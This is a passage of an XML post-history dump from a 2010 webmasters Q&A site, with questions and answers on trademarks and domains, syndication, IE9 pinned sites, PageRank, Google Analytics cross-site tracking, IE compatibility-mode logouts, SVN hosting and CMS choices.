would be:&#xD;&#xA;&#xD;&#xA; - If you can get the trademark, proceeding may be an option. Consider the alternatives, and discuss your exposure with your lawyer, but it is doable if you want to.&#xD;&#xA; - If you can't get the trademark, then absolutely don't do it.&#xD;&#xA;&#xD;&#xA;One last thing -- have you thought about contacting those other guys, and maybe do a joint-venture with them instead..?&#xD;&#xA;&#xD;&#xA;  [1]: http://steveblank.com/2009/12/10/someone-stole-my-startup-idea-%E2%80%93-part-3-the-best-defense-is-a-good-strategy/&#xD;&#xA;  [2]: http://oami.europa.eu/ows/rw/pages/CTM/communityTradeMark/communityTradeMark.en.do" />
  <row Id="5965" PostHistoryTypeId="2" PostId="3041" RevisionGUID="e9799e80-f678-4d58-afd8-3122d7073c57" CreationDate="2010-09-15T21:04:13.627" UserId="1920" Text="Currently I am using feedburner, technorati, webmaster tools from google, and updating my RSS to twitter &amp; facebook (via twitterfeed). However, I would like to lay out all of the syndication tools that are generally made use of. As googling this is more than a garbled mess of garbage links, it seems a vetted list would be in order here. &#xD;&#xA;&#xD;&#xA;What other syndication tools are out there that provide a 'set it and forget it' value?" />
  <row Id="5966" PostHistoryTypeId="1" PostId="3041" RevisionGUID="e9799e80-f678-4d58-afd8-3122d7073c57" CreationDate="2010-09-15T21:04:13.627" UserId="1920" Text="How to extend syndication of my site" />
  <row Id="5967" PostHistoryTypeId="3" PostId="3041" RevisionGUID="e9799e80-f678-4d58-afd8-3122d7073c57" CreationDate="2010-09-15T21:04:13.627" UserId="1920" Text="&lt;seo&gt;" />
  <row Id="5968" PostHistoryTypeId="16" PostId="3041" RevisionGUID="e9799e80-f678-4d58-afd8-3122d7073c57" CreationDate="2010-09-15T21:04:13.627" UserId="1920" />
  <row Id="5969" PostHistoryTypeId="6" PostId="3041" RevisionGUID="254fc8ae-d2ce-4f74-870b-41b7c2eff32e" CreationDate="2010-09-15T21:51:01.913" UserId="745" Comment="edited tags" Text="&lt;seo&gt;&lt;marketing&gt;&lt;syndication&gt;" />
  <row Id="5970" PostHistoryTypeId="2" PostId="3042" RevisionGUID="f6bb1b48-986b-48f8-b204-c45381ccf3a5" CreationDate="2010-09-15T23:21:28.120" UserId="186" Text="IE9 beta appeared today, and one of the most prominent features is Pinned Sites: drag an url/favorite/whatever to the taskbar, and you create a “Pinned Site”, which follows some custom rules (favicon presented in application chrome, back/fwd button turn the color of the favicon!).&#xD;&#xA;&#xD;&#xA;What is interesting is that:  &#xD;&#xA;1) Some sites are pinned to the taskbar not with their favicon, but rather with a bigger icon, à la iOS home screen favorite. How can I set this?&#xD;&#xA;&#xD;&#xA;2) Developers can set “channels” or “jump lists” for even quicker access that are presented when (right-?)clicking the icon. How do I do this?" />
  <row Id="5971" PostHistoryTypeId="1" PostId="3042" RevisionGUID="f6bb1b48-986b-48f8-b204-c45381ccf3a5" CreationDate="2010-09-15T23:21:28.120" UserId="186" Text="How to set the icon and channels for IE9's “Pinned Sites”" />
  <row Id="5972" PostHistoryTypeId="3" PostId="3042" RevisionGUID="f6bb1b48-986b-48f8-b204-c45381ccf3a5" CreationDate="2010-09-15T23:21:28.120" UserId="186" Text="&lt;internet-explorer&gt;&lt;internet-explorer-9&gt;" />
  <row Id="5973" PostHistoryTypeId="2" PostId="3043" RevisionGUID="2e34de91-4b23-4b05-95cb-30f7433ee181" CreationDate="2010-09-16T00:01:41.273" UserId="745" Text="This [article from MSDN][1] should tell you everything you need to know.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/library/gg131029(VS.85).aspx" />
  <row Id="5974" PostHistoryTypeId="2" PostId="3044" RevisionGUID="cd751b4e-cc06-4425-92b7-82037ea85a13" CreationDate="2010-09-16T02:49:30.993" UserId="1064" Text="It'd probably, ultimately, be cheaper to haggle the price of the domain with the owner than it would to be to hire a lawyer.&#xD;&#xA;&#xD;&#xA;Have you asked the domain's owner if they're open to the idea of selling?&#xD;&#xA;&#xD;&#xA;(Also, you know that Federated States of Micronesia would be happy to sell you a [.fm domain][1], right?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/.fm" />
  <row Id="5975" PostHistoryTypeId="2" PostId="3045" RevisionGUID="be6abed2-d36f-4666-a2e7-6c46ee5c4fd4" CreationDate="2010-09-16T03:11:36.907" UserId="745" Text="It's very possible that there is simply no editor for your category. Or, they may have rejected your site for some reason. Either way, I'd give it another try after 4-6 months if it's not there and then just forget about it. It will either get approved or not, but a single link isn't worth spending a lot of time on, even if it is DMOZ. There are other ways to get links." />
  <row Id="5976" PostHistoryTypeId="2" PostId="3046" RevisionGUID="14d92cfc-aeff-4683-844d-c34a1f69b8a0" CreationDate="2010-09-16T04:35:26.763" UserId="223" Text="Hanselman also did a good writeup about [pinned sites][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hanselman.com/blog/IE9SiteSpecificBrowsersAndAddingYourOwnJumpListItemsToPinnedTabs.aspx" />
  <row Id="5977" PostHistoryTypeId="2" PostId="3047" RevisionGUID="9efcffef-be60-4e95-9e63-619eca259424" CreationDate="2010-09-16T06:29:50.927" UserId="1978" Text="I have to make videos accessible to Blackberry, iPhone and web users. After some initial research I figured that .MP4 seems to be the best format to do this in.&#xD;&#xA;&#xD;&#xA;However, my question is: What is the best way to go about resizing videos for each platform? Is it best to provide one standard size for all three platforms? Or should I detect user agents and resize?&#xD;&#xA;&#xD;&#xA;Any ideas would be fantastic." />
  <row Id="5978" PostHistoryTypeId="1" PostId="3047" RevisionGUID="9efcffef-be60-4e95-9e63-619eca259424" CreationDate="2010-09-16T06:29:50.927" UserId="1978" Text="Videos being accessible via web and mobile users" />
  <row Id="5979" PostHistoryTypeId="3" PostId="3047" RevisionGUID="9efcffef-be60-4e95-9e63-619eca259424" CreationDate="2010-09-16T06:29:50.927" UserId="1978" Text="&lt;mobile&gt;&lt;video&gt;" />
  <row Id="5980" PostHistoryTypeId="2" PostId="3048" RevisionGUID="eef64ae5-8abf-41f5-935d-3c8f71e0abf7" CreationDate="2010-09-16T08:59:46.237" UserId="1429" Text="I was looking at this website other day: www.matieventi.com&#xD;&#xA;&#xD;&#xA;Using Google toolbar I saw its HOME PAGE has a Google PR of 3, and its SERVIZI page (www.matieventi.com/exclusive-mati/) PR is 2.&#xD;&#xA;Nothing interesting about this.&#xD;&#xA;&#xD;&#xA;Then I looked at the other **main** pages (Contatti, Hotels, etc) and surprisingly their PR was all 0 (Google toolbar shows grey bar 'No PageRank info' at all).&#xD;&#xA; &#xD;&#xA;- I thought: &quot;well, they probably used nofollow/noindex to sculpt PR for those pages&quot;, but nothing, there is **no nofollow/noindex in the source code of all pages**.&#xD;&#xA;- I thought: &quot;well probably links to those pages are not visible in source code, coz' created with some tricky Javascript&quot;, but nothing, **links to those pages are visible with a clear written link in source code**.&#xD;&#xA;- I thought: &quot;well they probably removed those pages using robots.txt&quot;, but nothing **www.matieventi.com/robots.txt allows everything**. Moreover those **pages are indexed in Google** (for instance [searching in Google for page 'Preventivi'][1] shows that page is indexed).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. Do you think they did some PR scuplting in order to obtain this?&#xD;&#xA;&#xD;&#xA; 2. Do you have an idea of what they did to obtain this?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;P.S. plz avoid answers in the form: *&quot;you should not scuplt PR because this and that, blah, blah, ...&quot;*, [I know what Matt Cutts says on his blog][2], but I still see many people sculpting it at least for some pages, and Matt Cutts himself suggests to sculpt it for instance to avoid PR flow to a CART page in any ecommerce site, so it's not that clear. **Anyway I'm not interested in these type of discussion/suggestions.**&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.it/#hl=it&amp;source=hp&amp;q=site%3Awww.matieventi.com+preventivo&amp;btnG=Cerca+con+Google&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=site%3Awww.matieventi.com+preventivo&amp;gs_rfai=&amp;fp=ac831d649e1a7043&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/pagerank-sculpting/" />
  <row Id="5981" PostHistoryTypeId="1" PostId="3048" RevisionGUID="eef64ae5-8abf-41f5-935d-3c8f71e0abf7" CreationDate="2010-09-16T08:59:46.237" UserId="1429" Text="Other ways to avoid Google PR to flow to some pages of your website?" />
  <row Id="5982" PostHistoryTypeId="3" PostId="3048" RevisionGUID="eef64ae5-8abf-41f5-935d-3c8f71e0abf7" CreationDate="2010-09-16T08:59:46.237" UserId="1429" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="5983" PostHistoryTypeId="2" PostId="3049" RevisionGUID="007a607b-eb6f-41ed-90ca-29f2850453f5" CreationDate="2010-09-16T09:33:48.900" UserId="745" Text="While there are a lot of other factors involved, the basic premise of PageRank is that pages are assigned a trust/relevance ranking based on the quality and quantity of other pages linking to them. Don't forget that those links can come from other sites as well. The simplest explanation is that those two pages are either the most popularly linked pages from other parties or they are where the site owners concentrated all their external link building efforts and the other pages simply don't merit that much attention." />
  <row Id="5984" PostHistoryTypeId="2" PostId="3050" RevisionGUID="c43c4d99-9320-47eb-9c05-d74f1e8d7067" CreationDate="2010-09-16T09:53:06.303" UserId="89" Text="This is a really bad idea both from a business and legal perspective because:&#xD;&#xA;&#xD;&#xA;1. This is likely to get you in a situation your radio station has the same name as another radio station, this is likely to confuse visitors, make it harder for you to rank first on Google for your name and it can ruin your reputation if the other station does something bad.&#xD;&#xA;&#xD;&#xA;2. Even **if** there's nothing wrong with it legally (I said IF), there is nothing stopping them from sending you legal notices, threatening to sue or suing you, even if they have no way to actually win you still have to pay a good lawyer to defend you." />
  <row Id="5985" PostHistoryTypeId="2" PostId="3051" RevisionGUID="47cd7191-f892-4863-9ea5-2560790117ad" CreationDate="2010-09-16T10:16:09.027" UserId="1979" Text="We have two websites, A and B. A is tracked with Google Analytics.&#xD;&#xA;&#xD;&#xA;Users arrive at site A and log in to site B from there. We have teasers for content on site A on the log out page of site B. So:&#xD;&#xA;&#xD;&#xA;A -&gt; B -&gt; A&#xD;&#xA;&#xD;&#xA;My goal is to track how many visitors respond to the teasers on site B and visit A.&#xD;&#xA;&#xD;&#xA;I understand that after 30 minutes of inactivity a pageview starts a new visit.&#xD;&#xA;&#xD;&#xA;Am I right in assuming that if the user is done on site B **in less than 30 minutes** his original visit to A is simply continued? If so, would all traffic source info be &quot;carried over&quot;? For example, the user arrives via Google on A, logs in to B, logs off, goes to A. Would I then see Google as the traffic source when I look at the traffic sources of the landing pages on A?&#xD;&#xA;&#xD;&#xA;What would be a good way to accurately track clicks on the teasers? Tagging the links on B would be my preferred solution. We cannot install GA on B.&#xD;&#xA;&#xD;&#xA;Many thanks for your help!" />
  <row Id="5986" PostHistoryTypeId="1" PostId="3051" RevisionGUID="47cd7191-f892-4863-9ea5-2560790117ad" CreationDate="2010-09-16T10:16:09.027" UserId="1979" Text="Google Analytics - tracking across sites" />
  <row Id="5987" PostHistoryTypeId="3" PostId="3051" RevisionGUID="47cd7191-f892-4863-9ea5-2560790117ad" CreationDate="2010-09-16T10:16:09.027" UserId="1979" Text="&lt;google-analytics&gt;" />
  <row Id="5988" PostHistoryTypeId="2" PostId="3052" RevisionGUID="953c1abd-1091-450c-b7ac-8ae267fe39e8" CreationDate="2010-09-16T11:51:29.383" UserId="1253" Text="Google probably just isn't publicly reporting those pages' PR in the toolbar. But that doesn't mean they don't have any yet. You just can't see it and won't until Google pushes out a toolbar update." />
  <row Id="5989" PostHistoryTypeId="2" PostId="3053" RevisionGUID="9c41e70b-6f02-4cc6-a838-494b6d6d5ae9" CreationDate="2010-09-16T12:31:11.550" UserId="500" Text="On the [PeoplePerHour][1] website, If a **Internet Explorer** user toggles the [compatibility mode][2] - they get logged out of the website!&#xD;&#xA;&#xD;&#xA;What are the possible reasons for this?&#xD;&#xA;&#xD;&#xA;I was thinking perhaps the browser is clearing cookies and therefore the users session gets lost. Is this possible (*seems unlikely!*)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.peopleperhour.com/&#xD;&#xA;  [2]: http://blogs.msdn.com/b/ie/archive/2008/08/27/introducing-compatibility-view.aspx" />
  <row Id="5990" PostHistoryTypeId="1" PostId="3053" RevisionGUID="9c41e70b-6f02-4cc6-a838-494b6d6d5ae9" CreationDate="2010-09-16T12:31:11.550" UserId="500" Text="Why are users logged out when they toggle compatibility mode in IE?" />
  <row Id="5991" PostHistoryTypeId="3" PostId="3053" RevisionGUID="9c41e70b-6f02-4cc6-a838-494b6d6d5ae9" CreationDate="2010-09-16T12:31:11.550" UserId="500" Text="&lt;internet-explorer&gt;" />
  <row Id="5992" PostHistoryTypeId="2" PostId="3054" RevisionGUID="cf57e81f-3b15-4a0a-959e-a8eaa98d33d0" CreationDate="2010-09-16T12:49:28.553" UserId="1955" Text="You can check the referring sites in the GA statistics and see whether you have site B there. Have in mind that if site B is using https the referring site header is not send." />
  <row Id="5993" PostHistoryTypeId="5" PostId="3037" RevisionGUID="8d5d2a4d-1ae9-4a14-8b5d-0a3d2f0c931b" CreationDate="2010-09-16T15:06:46.633" UserId="70" Comment="Fixed phrasing/typos." Text="Despite being (as of today) way too short for a subject like this, the Wikipedia [article about Microdata (HTML5)][1] still puts the relationship between the three common semantic markup approaches nicely:&#xD;&#xA;&gt; Microdata can be viewed as an extension of the existing [microformat][2] idea which attempts to address the deficiencies of microformats without the complexity of systems such as [RDFa][3].&#xD;&#xA;&#xD;&#xA;So from a distance (i.e. ignoring technical differences) I'd say this pretty much *is all the story* indeed (for Microdata vs. Microformats - [RDFa is another subject matter][4]), consequently your main concern should be the target 'audience', i.e. whether your format of choice is supported by the clients you expect to consume your semantically enriched content - if Google is the usual benchmark here, it appears your are free to go with the upcoming HTML5 standard.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Microdata_%28HTML5%29&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Microformat&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/RDFa&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/questions/2860/microdata-vs-rfda" />
  <row Id="5994" PostHistoryTypeId="2" PostId="3055" RevisionGUID="5204aa67-0d4d-4fe3-9ed0-157034e4b4eb" CreationDate="2010-09-16T15:23:03.110" UserId="1074" Text="Also should mention that you can setup custom filters and &quot;Goals&quot; via GA that will allow you to track things at a glance.  They take a bit to figure out and setup, but once done can give you the details you need in just a click or two." />
  <row Id="5995" PostHistoryTypeId="2" PostId="3056" RevisionGUID="045c6ed6-177f-4af3-820a-088dd50eac82" CreationDate="2010-09-16T15:23:29.017" UserId="108" Text="If site B is using https or even if you want to see the page views that come directly from site B on Site A on a separate line in Google Analytics there is another solutions.&#xD;&#xA;&#xD;&#xA;Simply add a source string to your links to site A from site B.  For example if your link was `href=&quot;www.A.com/AddPage1&quot;` change it to `href=&quot;www.A.com/AddPage1?Src=B-LogoutPage&quot;` on site B.  Then whenever you received clicks on those links you would know they go to that specific page on site A.  &#xD;&#xA;&#xD;&#xA;One thing to be aware of is that you may need to add a link red=&quot;canonical&quot; to the page on site A so Google doesn't think there is a difference between www.A.com and www.A.com/AddPage1?Src=B-LogoutPage.  This would only  be a concern if Google has access to the logged out page on Site B through web crawling.&#xD;&#xA;&#xD;&#xA;If you eventually are allowed to use Google Analytics on Site B, it sounds like you may want to combine it with site A, if that becomes the case, I would suggest checking out [Google Article on how to Track Multiple Domains with one tracking code][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/googleanalytics/bin/answer.py?answer=55503" />
  <row Id="5996" PostHistoryTypeId="6" PostId="3038" RevisionGUID="aa3cd108-cae2-4dff-bde3-a401a0f6d7ab" CreationDate="2010-09-16T15:26:56.980" UserId="1074" Comment="edited tags" Text="&lt;domains&gt;&lt;copyright&gt;" />
  <row Id="5997" PostHistoryTypeId="2" PostId="3057" RevisionGUID="65982f35-3315-4834-b1f2-f89d1256d361" CreationDate="2010-09-16T15:50:47.630" UserId="108" Text="There are a couple of different aspects to this issue.&#xD;&#xA;&#xD;&#xA; - The PR from the toolbar is usually the PR from 2-3 months ago.  It is not kept up to date by Google externally.  So are the pages new or have they been updated recently?&#xD;&#xA; - While some of the pages have some PR (2-3), Google has stated in the past that the PR is split between all links leaving the page.  All of the pages with PR on this site have 15+ links leaving meaning you have to take the PR of the page and divide it by 15.  Google also says you lose some amount of PR on every link out, roughly 10-15% according to Google.  That means internal links from a page with PR of 3 give (3/15)*.9 = .18 PR.  So if the only links to the pages with 0 PR are from a page with 2 PR and a page with 3 PR then we can assume those pages are receiving a PR of about .3 PR which isn't enough to show a PR of 1.  There could be other pages I am missing with PR that internally link to the pages with 0 PR but probably not enough to get to one.&#xD;&#xA; - The pages with 0 PR in general have little to no descriptive text. The pages  http://www.matieventi.com/ (PR 3) and http://www.matieventi.com/exclusive-mati/ (PR 2) both have paragraphs and/or lists that describe what the page is about.  In contrast, http://www.matieventi.com/contatti/ and http://www.matieventi.com/category/hotels/ have almost no text on them at all and no PR.  Google could look at this as a negative because they don't know what the page is about and so it gets no PR.&#xD;&#xA; - The only other factor is external links to the site and it is pretty clear the main page has at least some links.  However, if the other pages have no links then this will also effect the PR." />
  <row Id="5998" PostHistoryTypeId="2" PostId="3058" RevisionGUID="010290b2-e448-4f65-ba63-3c54b360e4ed" CreationDate="2010-09-16T16:21:11.327" UserId="233" Text="I would suggest one size for all mobiles. YouTube videos never fit my iPhone perfectly - but with the iPhone you can scale up to remove the black bars at the side. I'm not sure about formats, but you might want to look at [HTML 5 video][1].&#xD;&#xA;&#xD;&#xA;For the web, Flash video is still the norm unfortunately, although some browsers support HTML 5.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org/video.html" />
  <row Id="5999" PostHistoryTypeId="2" PostId="3059" RevisionGUID="ea4957f3-09a5-4d5b-ab08-b8c6464786dc" CreationDate="2010-09-16T16:28:45.210" UserId="108" Text="I just tested it myself by logging into yahoo.com and switching into compatibility mode and I was still logged in.  I am running IE8 32 bit on Windows 7.  Are you running windows XP or Vista?&#xD;&#xA;&#xD;&#xA;Here is any easy way to test.&#xD;&#xA;&#xD;&#xA; 1. Go to Yahoo's login page (Microsoft's might work as well but Google won't let you switch).&#xD;&#xA; 2. Clear everything in your cache and open your cache folder.&#xD;&#xA; 3. Login to yahoo and clear all non-cookies.  You should see your login cookie for yahoo then.&#xD;&#xA; 4. Switch to compatibility mode and see what happens.&#xD;&#xA; 5. If you do get logged out, check your cookies and see if the yahoo one is gone or has changed.  If it hasn't and you are still logged out then login again and clear you cache of non-cookies again.  You should be able to find the new cookie for yahoo and be able to compare it.  If not then you know the cookie is getting dumped somewhere else and you should know the name of the cookie based off of the old one and you might be able to find in with a search." />
  <row Id="6000" PostHistoryTypeId="2" PostId="3060" RevisionGUID="8dfcdb98-dd45-489d-bdea-8e4514f06d55" CreationDate="2010-09-16T16:32:12.583" UserId="233" Text="It sounds like the session created by that web site is tied to the browser's [user agent string][1], which will change as you switch modes in IE.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/User_agent" />
  <row Id="6001" PostHistoryTypeId="2" PostId="3061" RevisionGUID="97bcedf3-537f-4f51-8d14-fd99037a2bcb" CreationDate="2010-09-16T17:18:53.680" UserId="971" Text="We are considering upgrading to either a dedicated or cloud server.&#xD;&#xA;&#xD;&#xA;What I would really like is for the hosting account to have SVN installed on it. With a UI that I can use. So when I make a change, I can create a branch on the hosting and develop on the private branch. Then when I get everything right, migrate that branch to the main site that everyone sees. And also be able to role back if I need to. I would like to have a UI in the site admin for this. &#xD;&#xA;&#xD;&#xA;Is there a hosting service that provides this?&#xD;&#xA;&#xD;&#xA;If it matters we were looking at rackspacecloud and we will definitely be using a LAMP (linux, apache, mysql, php) stack." />
  <row Id="6002" PostHistoryTypeId="1" PostId="3061" RevisionGUID="97bcedf3-537f-4f51-8d14-fd99037a2bcb" CreationDate="2010-09-16T17:18:53.680" UserId="971" Text="Is there an SVN UI for hosting server?" />
  <row Id="6003" PostHistoryTypeId="3" PostId="3061" RevisionGUID="97bcedf3-537f-4f51-8d14-fd99037a2bcb" CreationDate="2010-09-16T17:18:53.680" UserId="971" Text="&lt;hosting&gt;" />
  <row Id="6004" PostHistoryTypeId="2" PostId="3062" RevisionGUID="b331c9e8-d782-45ba-87fb-de3ccef2011e" CreationDate="2010-09-16T19:56:14.050" UserId="745" Text="I know this isn't quite what you're looking for, but I think [Assembla][1] might provide that functionality. It's a hosted SVN service rather than a hosting service that provides SVN.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.assembla.com/features/subversion" />
  <row Id="6005" PostHistoryTypeId="6" PostId="3061" RevisionGUID="546043e3-7772-4cc5-a637-4f6d73c4379f" CreationDate="2010-09-16T21:27:56.483" UserId="138" Comment="edited tags" Text="&lt;apache&gt;&lt;linux&gt;&lt;subversion&gt;&lt;gui&gt;" />
  <row Id="6006" PostHistoryTypeId="2" PostId="3063" RevisionGUID="338c6b92-4f1d-48e4-b0ea-1e0a79874033" CreationDate="2010-09-16T21:32:42.293" UserId="138" Text="One of our clients is an Australian company that accepts payments in South Africa in ZAR. The use a combination of http://www.securepay.com.au/ combined with a merchant account from the National Australia Bank that supports multi-currency.&#xD;&#xA;&#xD;&#xA;You will have to do something similar. Most payment gateways will accept payments in the form of whatever currency you merchant accounts support.&#xD;&#xA;&#xD;&#xA;**However** if I remember correctly, collecting payment in ZAR was a *huge* headache for them because of the regulations in South Africa because of the massive abuse of credit cards in general.&#xD;&#xA;&#xD;&#xA;I'm fairly sure they had to get a bank account open in South Africa, which involved them actually having to go there in person and spend a week there signing paperwork and having background checks done. So unless you're actually in South Africa this could be more trouble than it's worth." />
  <row Id="6007" PostHistoryTypeId="2" PostId="3064" RevisionGUID="78241758-affc-42ee-99d7-4f5b630d2e45" CreationDate="2010-09-16T23:00:06.797" UserId="1982" Text="What do I need to get from a webhoster if I want to host my own [Diaspora*][1] seed? Do I just need some webspace with ruby on rails capabilities?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.joindiaspora.com/" />
  <row Id="6008" PostHistoryTypeId="1" PostId="3064" RevisionGUID="78241758-affc-42ee-99d7-4f5b630d2e45" CreationDate="2010-09-16T23:00:06.797" UserId="1982" Text="What requirments are necessary for a webhoster to host Diaspora*" />
  <row Id="6009" PostHistoryTypeId="3" PostId="3064" RevisionGUID="78241758-affc-42ee-99d7-4f5b630d2e45" CreationDate="2010-09-16T23:00:06.797" UserId="1982" Text="&lt;social-media&gt;&lt;webhost&gt;" />
  <row Id="6010" PostHistoryTypeId="2" PostId="3065" RevisionGUID="072a5914-d85a-483e-b091-2264741222b7" CreationDate="2010-09-17T01:31:17.930" UserId="1984" Text="I am helping a friend put together a website for an artist.  The person wants a very simple looking site to display their artwork, but will want to have an image slider and a few pages where they can change the text themselves.&#xD;&#xA;&#xD;&#xA;Does anyone know of a good CMS and/or template for this kind of project?" />
  <row Id="6011" PostHistoryTypeId="1" PostId="3065" RevisionGUID="072a5914-d85a-483e-b091-2264741222b7" CreationDate="2010-09-17T01:31:17.930" UserId="1984" Text="CMS for an artist to display art work?" />
  <row Id="6012" PostHistoryTypeId="3" PostId="3065" RevisionGUID="072a5914-d85a-483e-b091-2264741222b7" CreationDate="2010-09-17T01:31:17.930" UserId="1984" Text="&lt;cms&gt;" />
  <row Id="6013" PostHistoryTypeId="2" PostId="3066" RevisionGUID="4398dfb2-e055-4392-a6a4-ee6614c0b62d" CreationDate="2010-09-17T04:37:14.463" UserId="576" Text="You could try Wordpress alongwith one of the many [gallery-related themes][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/blogs/2009/05/16/20-gorgeous-wordpress-gallery-themes/" />
  <row Id="6014" PostHistoryTypeId="2" PostId="3067" RevisionGUID="5e5bac4d-6ec3-45b6-a25c-aa2b9c39bba6" CreationDate="2010-09-17T05:16:57.687" UserId="1160" Text="I am currently custom-coding UltraPanel PRO CMS to run [this site][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.boiseart.net/sections/list/" />
  <row Id="6015" PostHistoryTypeId="2" PostId="3068" RevisionGUID="fcc8d216-e08d-4264-b03a-342cd14f7266" CreationDate="2010-09-17T05:22:24.570" UserId="1160" Text="I am not sure the *reason*, but [DisgruntledGoat's answer][1] is probably correct.&#xD;&#xA;&#xD;&#xA;To fix this, you may want to force compatibility mode by adding the following header tag.&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=7&quot; /&gt;&#xD;&#xA;&#xD;&#xA;[This page][2] has a good walkthrough.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3053/why-are-users-logged-out-when-they-toggle-compatibility-mode-in-ie/3060#3060&#xD;&#xA;  [2]: http://weblogs.asp.net/joelvarty/archive/2009/03/23/force-ie7-compatibility-mode-in-ie8-with-iis-settings.aspx" />
  <row Id="6016" PostHistoryTypeId="2" PostId="3069" RevisionGUID="6ac7a4a0-7058-465b-97eb-d28c76337265" CreationDate="2010-09-17T05:28:29.910" UserId="1160" Text="I hate to say this, but [Jeff Atwood's blog about this][1]. Pretty much sums it up for me.&#xD;&#xA;&#xD;&#xA;This is of course *beyond the legal aspect*, so the real question is **can you**?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2010/01/cultivate-teams-not-ideas.html" />
  <row Id="6017" PostHistoryTypeId="2" PostId="3070" RevisionGUID="ebd330aa-5ef8-4420-8f89-fa99b5188016" CreationDate="2010-09-17T06:08:55.933" UserId="1160" Text="This question reminds me of something completely awesome I never knew until I got into Google Pagespeed testing, specifically how Steve Souders attacks the **[loading asynchronous javascript problem][1]**. &#xD;&#xA;&#xD;&#xA;Specifically, the `&lt;SCRIPT&gt;` tag works much like the `&lt;LINK&gt;` tag. It is loading a resource. So in a way, calling an external .js file through `&lt;script src=...&gt;` is practically the same thing in a way. &#xD;&#xA;&#xD;&#xA;The method is called **menu-degrading scripts**. In other words, once the resource is loaded, the inline portion of the tag gets executed. It requires a snippit of code to be placed in the source file, but it causes the inline source to be executed *after* it is loaded. (through some event handlers and `eval( curScript.innerHTML );`)&#xD;&#xA;&#xD;&#xA;So if you have an external .js file to load, but want it to do something after it is loaded, you can do this:&#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;menu-degrading.js&quot; type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      // something in javascript you want to do...&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;The gem about this, to me, is the fact that almost every external resource or `&lt;LINK&gt;` ultimately can work like this if done properly. When I first ran across this, I would have *never thought* to try both externally loading and in-lining a resource.  &#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href={somefile.css} &gt;&#xD;&#xA;    /* default inline resource if not found */&#xD;&#xA;    .body { background:#000000;color:FFFFFF; }&#xD;&#xA;    /* etc... minimal defaults */&#xD;&#xA;    &lt;/link&gt;&#xD;&#xA;    &#xD;&#xA;I haven't tried this yet, but inline code might work with 404 errors to create default resources when not found. If you have time to test this, let me know!&#xD;&#xA;&#xD;&#xA;  [1]: http://stevesouders.com/efws/degrading-script-tag.php" />
  <row Id="6018" PostHistoryTypeId="2" PostId="3071" RevisionGUID="c73de442-26da-45ff-8f1c-728559e3e198" CreationDate="2010-09-17T06:26:19.230" UserId="1160" Text="A google search found [many solutions][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hotscripts.com/category/php/scripts-programs/email-systems/web-based-email/" />
  <row Id="6019" PostHistoryTypeId="16" PostId="3071" RevisionGUID="c73de442-26da-45ff-8f1c-728559e3e198" CreationDate="2010-09-17T06:26:19.230" UserId="-1" />
  <row Id="6021" PostHistoryTypeId="2" PostId="3073" RevisionGUID="13eb9958-6fc1-406f-a3b3-3c48e9599c69" CreationDate="2010-09-17T06:45:22.773" UserId="1160" Text="You may want to look at the [sitemap XML format][1] to address compliance and to help out most of the major searchbots spider your site. &#xD;&#xA;&#xD;&#xA;Since this is just an XML file that contains links to different pages, there really isn't much to consider in terms of *design* rather **content**. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/" />
  <row Id="6022" PostHistoryTypeId="16" PostId="3073" RevisionGUID="13eb9958-6fc1-406f-a3b3-3c48e9599c69" CreationDate="2010-09-17T06:45:22.773" UserId="-1" />
  <row Id="6023" PostHistoryTypeId="2" PostId="3074" RevisionGUID="1ee56ee6-990f-4ac7-b019-1b8578f56f87" CreationDate="2010-09-17T06:53:52.723" UserId="1160" Text="[KeywordSpy][1] does an adequate job comparing most keywords and pointing out which sites are top dog and your competitor. &#xD;&#xA;&#xD;&#xA;But when I really like to get deep in research, I almost always fall back to [Google Trends][2] and then just check pagerank on similars.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.keywordspy.com/&#xD;&#xA;  [2]: http://www.google.com/trends" />
  <row Id="6024" PostHistoryTypeId="16" PostId="3074" RevisionGUID="1ee56ee6-990f-4ac7-b019-1b8578f56f87" CreationDate="2010-09-17T06:53:52.723" UserId="-1" />
